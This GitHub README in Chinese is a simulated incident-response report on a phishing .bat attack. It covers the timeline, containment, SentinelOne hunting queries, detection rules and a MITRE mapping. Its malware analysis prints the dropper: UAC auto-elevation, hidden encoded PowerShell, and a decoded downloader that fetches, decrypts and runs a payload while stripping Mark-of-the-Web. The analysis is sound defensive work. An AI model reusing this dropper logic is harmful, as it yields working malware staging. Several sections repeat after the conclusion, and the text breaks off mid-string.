dylanharrisfl/IncidentResponseProcess
GitHub: dylanharrisfl/IncidentResponseProcess
一份模拟的网络安全事件响应报告,完整展示了针对钓鱼链攻击的检测、分诊、遏制、恶意软件分析及防御规则编写的全流程。
Stars: 1 | Forks: 0
# 事件响应报告
### 通过钓鱼链接传递并使用管理员凭据执行的恶意 Batch 文件
## 1. 总结
这是我近期处理的一起事件的模拟事件响应报告,并非官方正式报告。我特意排除了任何有关特定事件或系统的信息。此举旨在展示我在整个事件中的思考过程,以此证明我对事件响应/分诊/升级流程的理解,这些流程的各个环节如何与 MITRE ATT&CK 或 Pyramid of Pain 等框架相关联,我对 SentinelOne Deep Visibility 等工具的熟悉程度,以及我深入理解和记录每个阶段的能力。
我这里的重点是展示对事件响应基础知识的核心理解,以此不仅证明我能够提供强大的 Level I 分诊能力,还能展示我如何向 Level II 人员提供信息充分、全面的升级报告。
在事件发生后,我非常乐意深入分析恶意软件,以便更好地了解攻击技术以及如何更好地进行防御。
## 2. 事件时间线
本部分提供了从初始电子邮件传递到初始遏制期间的事件总结时间线。在“来源/证据”列中,显示了用于获取证据或追踪事件的工具/方法。这通常会包含时间戳和证据,但我选择在这里将它们移除。
| 事件 | 来源/证据 |
|---|---|
| 钓鱼邮件送达 | 使用 Exchange 邮件追踪或电子邮件安全工具来确认送达时间。 |
| 用户点击嵌入的链接 | 从电子邮件安全链接保护中提取操作数据,以查看启动时间 |
| 下载 .bat 文件 | 利用进程树和查询来定位 S1 中针对该 .bat 文件的“文件创建”事件 |
| 用户执行 .bat 文件 | 沿着进程树/事件时间线定位 cmd.exe 进程创建事件 |
| 触发 UAC/凭据提示 | 沿着已执行的 .bat 文件的进程树,查看提示会话输入提权凭据的脚本何时运行 |
| 输入管理员凭据 | 沿着进程树追踪。恶意软件包的下一个进程以管理员账户在新的 powershell 子进程中运行 |
| 提权执行 Payload | 上述 powershell 进程完成,现在执行恶意软件的下一阶段,调整注册表项并生成新的可执行进程 |
| 建立持久化 | 使用进程树识别网络通信/DNS 解析开始的位置。进一步追踪这些进程树,或查询 SentinelOne 以识别与这些位置的通信是何时开始的 |
| 通知团队 | 团队收到的是关于可疑活动的通知而非告警,这使其成为一个严重的漏报 |
| 开始分诊 | 创建工单并开始调查 |
| 采取遏制措施 | 立即提取该 batch 文件的哈希值,并将工作站隔离。创建了哈希黑名单并开始调查流量。在进程树中识别出 C2 通信,并设置了防火墙规则以阻断与该互联网位置的通信。立即将发现的结果与客户沟通,并确认此时该邮件未发送给其他任何用户。通过 S1 查询确认,其他设备上不存在该恶意软件,且网络中的任何其他地方也不存在此 C2 隧道。 |
## 3. 事件响应流程
### 3.1 准备
- 事件发生时已部署的相关工具:SentinelOne、电子邮件威胁防护、防火墙
- 响应过程中发现的缺陷:SIEM/EDR/电子邮件威胁防护工具未能识别出该威胁,导致了一起漏报事件。
### 3.2 识别(检测与分析)
- 触发条件:分析师发现了异常的工作站活动
- 初始假设:运行了恶意脚本,在强大的防御规避技术掩护下创建了某种后台持久化机制。
- 验证步骤:
用于识别初始文件创建的查询:
```
endpoint.name='target-endpoint' AND event.type = 'File Creation' AND tgt.file.path contains '.bat'
```
找到后,我可以选择 Storyline ID 并开始审查进程树。然后我可以沿着可执行文件的子进程追踪所做的注册表编辑,并识别出使用从非标准位置启动的合法 ScreenConnect 实例建立 C2 连接的过程:
从那里开始,决策过程随之展开。
### 3.3 遏制
1. 隔离设备 - 这将设备从网络中隔离,阻止了攻击的蔓延,使攻击者无法窃取信息、投递更多 payload,或利用收集到的凭据转向其他机器。
2. 使用 powershell 阻断哈希值:
- Get-Filehash "C:\Path" 或使用 SentinelOne 中提供的文件哈希值
- 部署 SentinelOne 哈希黑名单规则,以阻止该 .bat 文件的任何进一步执行。
3. 阻断恶意 C2 服务器的 IP 地址和域名。
#### 旁注:#2 和 #3 是 Pyramid of Pain 底部的 3 个层级,我了解这一点。此时,我利用它们制定了一个快速规则,以在我的调查该攻击是否感染了网络上的任何其他端点时减缓攻击速度。计划是遏制/减缓初始攻击,然后编写更有效的检测规则,以针对攻击的工具或 TTP 进行更深度的防御策略。
4. 轮换凭据,并在适用的情况下临时剥夺任何管理员权限
5. 查询是否在网络上的任何其他位置识别到了此哈希值、IP/域名通信或行为:
```
#sha256 = 'EXAMPLEHASH234A8B443DFA9998'
```
查询是否在网络上的任何其他位置发现过此文件哈希值
```
url.address contains 'example.maliciousurl.exmp'
```
查询是否在网络上的任何其他位置发生过与 C2 服务器的通信
```
src.ip.address contains '1.2.3.4' OR dst.ip.address contains '1.2.3.4'
```
查询是否在网络上的任何其他位置发生过与该 C2 的 IP 的通信
```
endpoint.name='infected-endpoint' AND dst.ip.address contains '192.168'
```
用于查找网络上任何内部通信的基础查询。对此进行调整以调查端点之间是否发生过任何恶意流量。
6. 根据发现的工具 (C2) 创建检测规则。
- 由于这是利用合法的 ScreenConnect 服务器,我们需要创建一个规则来识别未经批准的 ScreenConnect 安装,同时排除任何已批准/合法的安装。
- 我构思了一个查询,并将其转换为一个 STAR 自定义规则,该规则可识别任何未预先批准的 ScreenConnect 安装,然后在发现时发出告警并断开其与网络的连接:
```
(src.process.name contains:anycase ("screenconnect") or src.process.displayName contains:anycase ("screenconnect")) AND
!(src.process.cmdline contains 'approvedstring1' or src.process.cmdline contains 'approvedstring2' or src.process.parent.cmdline
contains 'approvedstring1' or src.process.parent.cmdline contains 'approvedstring2')
```
有了这个,我们就可以使用该查询来检测任何正在运行的 ScreenConnect 进程,同时排除任何预先批准的唯一安装字符串(在此示例中为 approvedstring1 和 approvedstring2)。这样一来,如果发生相同或类似的攻击,就会采取预防措施,并且安全团队将收到指定优先级的告警,在此案例中我选择了“高”。
7. 根据发现的 TTP(恶意软件暂存文件/目录)创建检测规则。
- 在下文的恶意软件分析中,我发现有恶意的二进制文件/脚本被暂存并从 Appdata\Local\Temp\*\ 目录(由 .bat 文件构建的随机命名的临时目录)中执行。这些二进制文件/脚本被下载/解密到名为“data.bin”和“run.js”的文件中。
- 鉴于这是攻击者使用的技术,它位于 Pyramid of Pain 的最高层级。这使其成为最有效的缓解技术之一,因为这要求他们必须重新构建恶意软件(前提是他们具备这方面的知识)。
- 我构思了一个查询,对其进行了测试,并创建了一个在触发时发出告警并断开网络连接的 STAR 自定义规则:
```
event.type = 'File Creation' AND (tgt.file.path matches:anycase '.*\\\\Temp\\\\.*\\\\data\\.bin' OR tgt.file.path matches:anycase
".*\\\\Temp\\\\.*\\\\run\\.js")
```
### 3.4 根除
鉴于这台机器是唯一受影响的机器,并且已被批准进行擦除,因此无需手动根除。
### 3.5 恢复
鉴于这台机器承载的数据很少或没有数据,且主要用于简单的操作目的,因此执行了全盘擦除和重新安装,在事件发生后不久便使设备恢复了运行。
### 3.6 经验教训(事件后活动)
- 有效之处:攻击后的防范意识、遏制和恢复措施
- 不足之处:用户意识、电子邮件和 SIEM 检测
- 建议的流程/工具变更:针对失效的主题开展用户安全意识培训活动(链接防范意识、运行前验证应用程序、钓鱼邮件、特权升级使用情况等),调整电子邮件和 EDR/SIEM 检测规则
## 4. 恶意软件技术分析
在遏制事件后,我想看看能否快速分析并理解初始恶意软件包,以便制定有效的 STAR 检测规则。以下是恶意软件包内容的分解说明、各种代码块的作用,以及我们如何利用这些信息来相应地制定规则。
#### * 注意:出于安全考虑,我已经删除/替换了任何恶意数据,并更改了编码字符串中的数据。这仅供参考。
原始 .bat 文件:
```
@echo off
:: Auto-elevate to Administrator (triggers UAC prompt)
net session >nul 2>&1
if %errorlevel% neq 0 (
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit /b
)
:: If we get here, we're running as Administrator
#powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgANAAoAJAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGQAcgBvAHAAYgBvAHgALgBjAG8AbQAvAHMAYwBsAC8AZgBpAC8AbwB1ADAANQB3AHQAMQA5ADcAbgBlAGkAYwBkADYAZwBjAHEAeQBzADcALwBjAGkAdABpAGkALgBiAGkAbgA/AHIAbABrAGUAeQA9AHIAeQBvAGEAMAB4ADAAbQBqADkAagB1AHoAYwB5AG8AegA3ADcAeQAwADUAZwAxAHkAJgBzAHQAPQBoADIAZgB6ADIAYwBsAGMAJgBkAGwAPQAxACIADQAKACQAcABhAHMAcwAgAD0AIAAiACcAPgA0AE8SDDDFFE23RWDF44lAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBQAGEAdABoACAAJAB0AGUAbQBwAEQAaQByACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgAkAGIAaQBuAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHQAZQBtAHAARABpAHIAIAAiAGQAYQB0AGEALgBiAGkAbgAiAA0ACgAkAGoAcwBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJAB0AGUAbQBwAEQAaQByACAAIgByAHUAbgAuAGoAcwAiAA0ACgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0EWERByAGkAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABiAGkAbgBQAGEAdABoABXSDCAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwANAAoAIAAgACAAIAANAAoAIAAgACAAIAAjACAAUgBFAE0ATwBWAEUAIABNAEEAUgBLAC0ATwBGAC0AVABIAEUALQBXAEUAQgAgAEYAUgBPAE0AIABEAE8AVwBOAEwATwBBAEQARQBEACAARgBJAEwARQANAAoAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAYgBpAG4AUABhAHQAaAA6AFoAbwBuAGUALgBJAGQAZQBuAHQAaQBmAGkAZQByACIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAANAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABiAGkAbgBQAGEAdABoACkAKQAgAHsAIABlAHgAaQB0ACAAfQANAAoAIAAgACAAIAAkAGYAaQBsAGUAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABiAGkAbgBQAGEAdABoACkADQAKACAAIAAgACAAaQBmACAAKAAkAGYAaQBsAGUAQgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADQAOAApACAAewAgAGUAeABpAHQAIDFAB9AA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACQAcwBhAGwAdAAgAD0AIAAkAGYAaQBsAGUAQgB5AHQAZQBzAFsAMAAuAC4AMQA1AF0ADQAKERACAAIAAgACAAJABpAHYAIAA9ACAAJABmAGkAbABlAEIAeQB0AGUAcwBbADEANgAuAASDFC4AMwAxAF0ADQAKACAAIAAgACAAJABjAGkAcABoAGUAcgB0AGUAeAB0ACAAPQAgACQAZgBpAGwAZQBCAHkAdABlAHMAWwAzADIAGSDgAuACgAJABmAGkAbABlAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoAC0AMQApAF0ADQAKACAAIAAgACAADQAKACAAIAAgACAAJABwAGIAawBkAGYAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAZgBjADIAOAA5ADgARABlAHIAaQB2AGUAQgB5AHQAZQBzACgAJABwAGEAcwBzACwAIAAkAHMAYQBsAHQALAAgADEAMAAwADAAMAAwACkADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAkAHAAYgBrAGQAZgAyAC4ARwBlAHQAQgB5AHQAZQBzACgAMwAyACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABhAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkADQAKACAAIAAgACAAJABhAGUAcwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwANAAoAIAAgACAAIAAkAGEAZQBzAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AA0ACgAgACAAIAAgACQAYQBlAHMALgBLAGUAeQAgAD0AIAAkAGsAZQB5AA0ACgAgACAAIAAgACQAYQBlAHMALgBJAFYAIAA9ACAAJABpAHYADQAKACAAIAAgACAADQAKACAAIAAgACAAJABkAGUAYwByAHkAcAB0AG8AcgAgAD0AIAAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAA0ACgAgACAAIAAgACQAZABlAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACAAPQAgACQAZABlAGMAcgB5AHAAdABvAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAGkAcABoAGUAcgB0AGUAeAB0ACwAIAAwACwAIAAkAGMAaQBwAGgAZQByAHQAZQB4AHQALgBMAGUAbgBnAHQAaAApAA0ACgAgACERRRREW43LKJ65HSDFABKAFMAIABGAEkATABFACAAQgBFAEYATwBSAEUAIABFAFgARQBDAFUAVABJAE8ATgANAAoAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAagBzAFAAYQB0AGgAOgBaAG8AbgBlAC4ASQBkAGUAbgB0AGkAZgBpAGUAcgAiACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUADQAKACAAIAAgACAADQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAagBzAFAAYQB0AGgAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC8ALwBFADoAagBzAGMAcgBpAHAAdAAiACwAIAAiAGAAIgAkAGoAcwBQAGEAdABoAGAAIgAiACAALQBXAGEAaQB0AA0ACgAgACAAIAAgAH0ADQAKAH0AIABjAGEAdABjAGgAIAB7AA0ACgB9ACAAZgBpAG4AYQBsAGwAeQAgAHsADQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABlAG0AcABEAGkAcgApACAAewANAAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABlAG0AcABEAGkAcgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlAA0ACgAgACAAIAAgAH0ADQAKAH0A
exit
```
根据我的经验,恶意软件通常不包含解释其操作内容的注释。幸运的是,这有助于快速了解该恶意软件的意图。
第一块代码尝试列出计算机的网络连接。这自然需要提权。它会丢弃任何输出(因为这里无关紧要),但该尝试是失败还是成功对下一行代码很重要。
"if %errorlevel% neq 0" 检查上一个命令是否失败。如果没有失败,%errorlevel% 仍然等于 0,脚本将继续执行下一个代码块。如果 %errorlevel% 不等于 0 ("neq 0"),则会启动以下操作:
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit /b
这会启动 powershell,并使用 -Verb RunAs(启动 UAC 提示,尝试以管理员身份运行此 batch 文件)启动 %~f0(引用当前运行的 batch 文件的完整路径)的进程。然后它会退出这个没有特权的 batch 文件,并继续执行提权后的会话(因为此会话将通过 %errorlevel% 检查并继续向下处理下一个代码块)。
下一行代码:powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand 做了几件事:
- 'powershell' 初始化 powershell 执行
- '-ExecutionPolicy Bypass' 临时忽略设定的执行策略,并允许此命令绕过这些规则
- '-NoProfile' 忽略任何可能阻碍执行的预加载配置文件设置
- '-WindowsStyle Hidden' 隐藏执行窗口
- '-EncodedCommand' 运行后面的 Base64 编码命令
最后,通过一个简单的命令,我能够解码该字符串,并使用以下的 powershell 命令揭示 batch 文件的核心内容:
```
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("encoded-string-here"))
```
#### 解码后分析:
解码后的字符串如下所示(当然,已移除任何恶意内容)。我在每个相关的代码块上方添加了注释来解释其概念和原因,由 "####" 指示。
```
#### 第一行抑制任何非终止性错误,允许代码继续执行。接下来的两行识别
the malicious URL of where to get the next malware package from, along with identifying a passphrase to later calculate an
encryption key with.
$ErrorActionPreference = "SilentlyContinue"
$url = "https://example.website.exmp/dir1/malware.bin"
$pass = "passphrase"
#### 第一行和第二行使用 GetRandomFileName() 在 AppData\Local\Temp 目录中创建一个目录,
administrator user that initiated this command (credentials entered into the UAC prompt). The next lines create a data.bin and
run.js file within this directory and assign them to variables $binPath and $jsPath.
$tempDir = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName())
New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
$binPath = Join-Path $tempDir "data.bin"
$jsPath = Join-Path $tempDir "run.js"
#### 向 $url 中定义的 url 发起 web 请求以下载恶意软件包,并将其写入 data.bin 文件
defined by $binPath in the temp directory.
try {
Invoke-WebRequest -Uri $url -OutFile $binPath -UseBasicParsing
#### Removes the Mark of the Web (Zone.Identifier) from the downloaded file ($binPath) and silently continues if it does
not exist. The Mark of the Web is an identifier in Windows to mark files that have been delivered via the internet zone. The
point here is to remove this identifier so the system does not interfere with execution since it originates from the web.
Remove-Item -Path "$binPath:Zone.Identifier" -Force -ErrorAction SilentlyContinue
#### Confirms the $binPath exists, then confirms that the file contains at least 48 bytes (used later for encryption). If
either of these are not true, the script exits. It also writes all of the Bytes in the downloaded file to an array.
if (-not (Test-Path $binPath)) { exit }
$fileBytes = [System.IO.File]::ReadAllBytes($binPath)
if ($fileBytes.Length -lt 48) { exit }
#### Sets the first 16 bytes (0-15) to be the salt, the second 16 bytes (16-31) to be used as the IV (initialization vector),
and defines anything after that as the ciphertext.
$salt = $fileBytes[0..15]
$iv = $fileBytes[16..31]
$ciphertext = $fileBytes[32..($fileBytes.Length-1)]
#### Uses PBKDF2 (Password-Based Key Derivation Function 2) to produce a new cryptographic key using the above defined
passphrase, the defined salt bytes, and 100000 iterations (improving complexity). It then uses this to create a 32-byte key,
defined as $key, standard for AES-256.
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $salt, 100000)
$key = $pbkdf2.GetBytes(32)
#### 创建一个 AES 对象,并定义 CBC mode,这意味着每个块的配置依赖于前一个块。它
defines the padding mode as PKCS#7, which appends data to the end of each block to fill any incomplete blocks as needed. Finally,
it defines the key and IV for $aes as the values defined above in $key and $iv.
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $key
$aes.IV = $iv
#### 为该算法创建一个 decryptor,并将其设置为 $decryptor。然后使用该 decryptor 解密定义的 ciphertext
above, and write them to the path defined in $jsPath.
$decryptor = $aes.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
[System.IO.File]::WriteAllBytes($jsPath, $decryptedBytes)
#### 从 $jsPath 文件中移除 Mark of the Web,如果该文件不存在则继续执行。
Remove-Item -Path "$jsPath:Zone.Identifier" -Force -ErrorAction SilentlyContinue
#### 启动一个 wscript.exe 实例(用于执行脚本的 Windows 工具,例如 .js 脚本),运行 jscript 引擎
(//E:jscript), and runs the run.js script located in the $jsPath with the information delivered and decrypted from data.bin in the
$binPath. The catch {} line will ignore any failures if they occur. With the finally line, it will remove the created temp directory
alongside anything within it, regardless of if the try block failed or not.
if (Test-Path $jsPath) {
Start-Process "wscript.exe" -ArgumentList "//E:jscript", "`"$jsPath`"" -Wait
}
} catch {
} finally {
if (Test-Path $tempDir) {
Remove-Item -Path $tempDir -Recurse -Force
}
}
```
### 恶意软件最终分析:
此恶意软件混合使用了特权升级、防御规避(MOTW 移除、加密、清理、混淆(尽管此处的混淆相当薄弱))以及代码执行技术,以投递 payload,并通过注册表更改和 C2 控制感染机器,从而建立持久化。由于混淆不佳,它非常易于阅读,使得快速分析和补救变得更加容易。进行此分析可以深入了解攻击者的 TTP,我们可以利用它来创建 STAR 规则以阻断该恶意软件的未来实例(有关由此产生的检测规则,请参见上文第 3.3.7 节)。
## 5. MITRE ATT&CK 映射
| 战术 | 技术ID | 技术名称 | 证据 |
|---|---|---|---|
| 初始访问 | T1566.002 | Phishing: Spearphishing Link | 原始邮件及点击事件 |
| 执行 | T1204.002 | User Execution: Malicious File | .bat 执行的 S1 事件 |
| 执行 | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | 原始进程树中的 cmd.exe 进程 |
| 执行 | T1059.001 | Command and SCripting Interpreter: PowerShell | 原始进程树中的 powershell.exe 进程,由原始 .bat 文件调用 |
| 执行 | T1059.007 | Command and Scripting Interpreter: JavaScript | .bat 文件通过 wrscript.exe //E:jscript 运行 run.js |
| 特权升级 | T1078.002 | Valid Accounts: Domain Accounts | 提示时输入的管理员凭据 |
| 特权升级 | T1548.005 | Abuse Elevation Control Mechanism | 使用 UAC 提示进行提权,并以管理员权限生成恶意进程 |
| 防御规避 | T1027.010 | Obfuscated Files or Information: Command Obfuscation | .bat 文件中编码的 Powershell 脚本 |
| 防御规避 | T1140 | Deobfuscate/Decode Files or Information | 从 data.bin 到 run.js 的 AES-256/PBKDF2 解密过程 |
| 防御规避 | T1553.005 | Subvert Trust Controls: Mark-of-the-Web Bypass | 在原始 .bat 文件的 powershell 脚本中移除 MOTW Zone.Identifier |
| 持久化 | T1547.001 | Registry Run Keys | run.js 调整注册表项,以在启动时建立隐藏的 C2 连接 ScreenConnect 进程 |
| 命令与控制 | T1219.002 | Remote Access Tools: Remote Desktop Software | 使用合法的远程访问软件 ScreenConnect,建立与目标的持久 C2 连接 |
## 6. 结论
总之,我能够利用现有资源来检测、遏制、响应此攻击并从中恢复。进一步的分析使我能够更好地准备防御措施,以检测并对此攻击的自动化响应。尽管这份报告缺少标准事件报告中通常会包含的关键部分,但我希望这份模拟报告能够让人了解我的思考过程、技能组合以及防御操作的方法。感谢您的时间!
从那里开始,决策过程随之展开。
### 3.3 遏制
1. 隔离设备 - 这将设备从网络中隔离,阻止了攻击的蔓延,使攻击者无法窃取信息、投递更多 payload,或利用收集到的凭据转向其他机器。
2. 使用 powershell 阻断哈希值:
- Get-Filehash "C:\Path" 或使用 SentinelOne 中提供的文件哈希值
- 部署 SentinelOne 哈希黑名单规则,以阻止该 .bat 文件的任何进一步执行。
3. 阻断恶意 C2 服务器的 IP 地址和域名。
#### 旁注:#2 和 #3 是 Pyramid of Pain 底部的 3 个层级,我了解这一点。此时,我利用它们制定了一个快速规则,以在我的调查该攻击是否感染了网络上的任何其他端点时减缓攻击速度。计划是遏制/减缓初始攻击,然后编写更有效的检测规则,以针对攻击的工具或 TTP 进行更深度的防御策略。
4. 轮换凭据,并在适用的情况下临时剥夺任何管理员权限
5. 查询是否在网络上的任何其他位置识别到了此哈希值、IP/域名通信或行为:
```
#sha256 = 'EXAMPLEHASH234A8B443DFA9998'
```
查询是否在网络上的任何其他位置发现过此文件哈希值
```
url.address contains 'example.maliciousurl.exmp'
```
查询是否在网络上的任何其他位置发生过与 C2 服务器的通信
```
src.ip.address contains '1.2.3.4' OR dst.ip.address contains '1.2.3.4'
```
查询是否在网络上的任何其他位置发生过与该 C2 的 IP 的通信
```
endpoint.name='infected-endpoint' AND dst.ip.address contains '192.168'
```
用于查找网络上任何内部通信的基础查询。对此进行调整以调查端点之间是否发生过任何恶意流量。
6. 根据发现的工具 (C2) 创建检测规则。
- 由于这是利用合法的 ScreenConnect 服务器,我们需要创建一个规则来识别未经批准的 ScreenConnect 安装,同时排除任何已批准/合法的安装。
- 我构思了一个查询,并将其转换为一个 STAR 自定义规则,该规则可识别任何未预先批准的 ScreenConnect 安装,然后在发现时发出告警并断开其与网络的连接:
```
(src.process.name contains:anycase ("screenconnect") or src.process.displayName contains:anycase ("screenconnect")) AND
!(src.process.cmdline contains 'approvedstring1' or src.process.cmdline contains 'approvedstring2' or src.process.parent.cmdline
contains 'approvedstring1' or src.process.parent.cmdline contains 'approvedstring2')
```
有了这个,我们就可以使用该查询来检测任何正在运行的 ScreenConnect 进程,同时排除任何预先批准的唯一安装字符串(在此示例中为 approvedstring1 和 approvedstring2)。这样一来,如果发生相同或类似的攻击,就会采取预防措施,并且安全团队将收到指定优先级的告警,在此案例中我选择了“高”。
7. 根据发现的 TTP(恶意软件暂存文件/目录)创建检测规则。
- 在下文的恶意软件分析中,我发现有恶意的二进制文件/脚本被暂存并从 Appdata\Local\Temp\*\ 目录(由 .bat 文件构建的随机命名的临时目录)中执行。这些二进制文件/脚本被下载/解密到名为“data.bin”和“run.js”的文件中。
- 鉴于这是攻击者使用的技术,它位于 Pyramid of Pain 的最高层级。这使其成为最有效的缓解技术之一,因为这要求他们必须重新构建恶意软件(前提是他们具备这方面的知识)。
- 我构思了一个查询,对其进行了测试,并创建了一个在触发时发出告警并断开网络连接的 STAR 自定义规则:
```
event.type = 'File Creation' AND (tgt.file.path matches:anycase '.*\\\\Temp\\\\.*\\\\data\\.bin' OR tgt.file.path matches:anycase
".*\\\\Temp\\\\.*\\\\run\\.js")
```
### 3.4 根除
鉴于这台机器是唯一受影响的机器,并且已被批准进行擦除,因此无需手动根除。
### 3.5 恢复
鉴于这台机器承载的数据很少或没有数据,且主要用于简单的操作目的,因此执行了全盘擦除和重新安装,在事件发生后不久便使设备恢复了运行。
### 3.6 经验教训(事件后活动)
- 有效之处:攻击后的防范意识、遏制和恢复措施
- 不足之处:用户意识、电子邮件和 SIEM 检测
- 建议的流程/工具变更:针对失效的主题开展用户安全意识培训活动(链接防范意识、运行前验证应用程序、钓鱼邮件、特权升级使用情况等),调整电子邮件和 EDR/SIEM 检测规则
## 4. 恶意软件技术分析
在遏制事件后,我想看看能否快速分析并理解初始恶意软件包,以便制定有效的 STAR 检测规则。以下是恶意软件包内容的分解说明、各种代码块的作用,以及我们如何利用这些信息来相应地制定规则。
#### * 注意:出于安全考虑,我已经删除/替换了任何恶意数据,并更改了编码字符串中的数据。这仅供参考。
原始 .bat 文件:
```
@echo off
:: Auto-elevate to Administrator (triggers UAC prompt)
net session >nul 2>&1
if %errorlevel% neq 0 (
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit /b
)
:: If we get here, we're running as Administrator
#powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgANAAoAJAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGQAcgBvAHAAYgBvAHgALgBjAG8AbQAvAHMAYwBsAC8AZgBpAC8AbwB1ADAANQB3AHQAMQA5ADcAbgBlAGkAYwBkADYAZwBjAHEAeQBzADcALwBjAGkAdABpAGkALgBiAGkAbgA/AHIAbABrAGUAeQA9AHIAeQBvAGEAMAB4ADAAbQBqADkAagB1AHoAYwB5AG8AegA3ADcAeQAwADUAZwAxAHkAJgBzAHQAPQBoADIAZgB6ADIAYwBsAGMAJgBkAGwAPQAxACIADQAKACQAcABhAHMAcwAgAD0AIAAiACcAPgA0AE8SDDDFFE23RWDF44lAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBQAGEAdABoACAAJAB0AGUAbQBwAEQAaQByACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgAkAGIAaQBuAFAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAHQAZQBtAHAARABpAHIAIAAiAGQAYQB0AGEALgBiAGkAbgAiAA0ACgAkAGoAcwBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJAB0AGUAbQBwAEQAaQByACAAIgByAHUAbgAuAGoAcwAiAA0ACgANAAoAdAByAHkAIAB7AA0ACgAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0EWERByAGkAIAAkA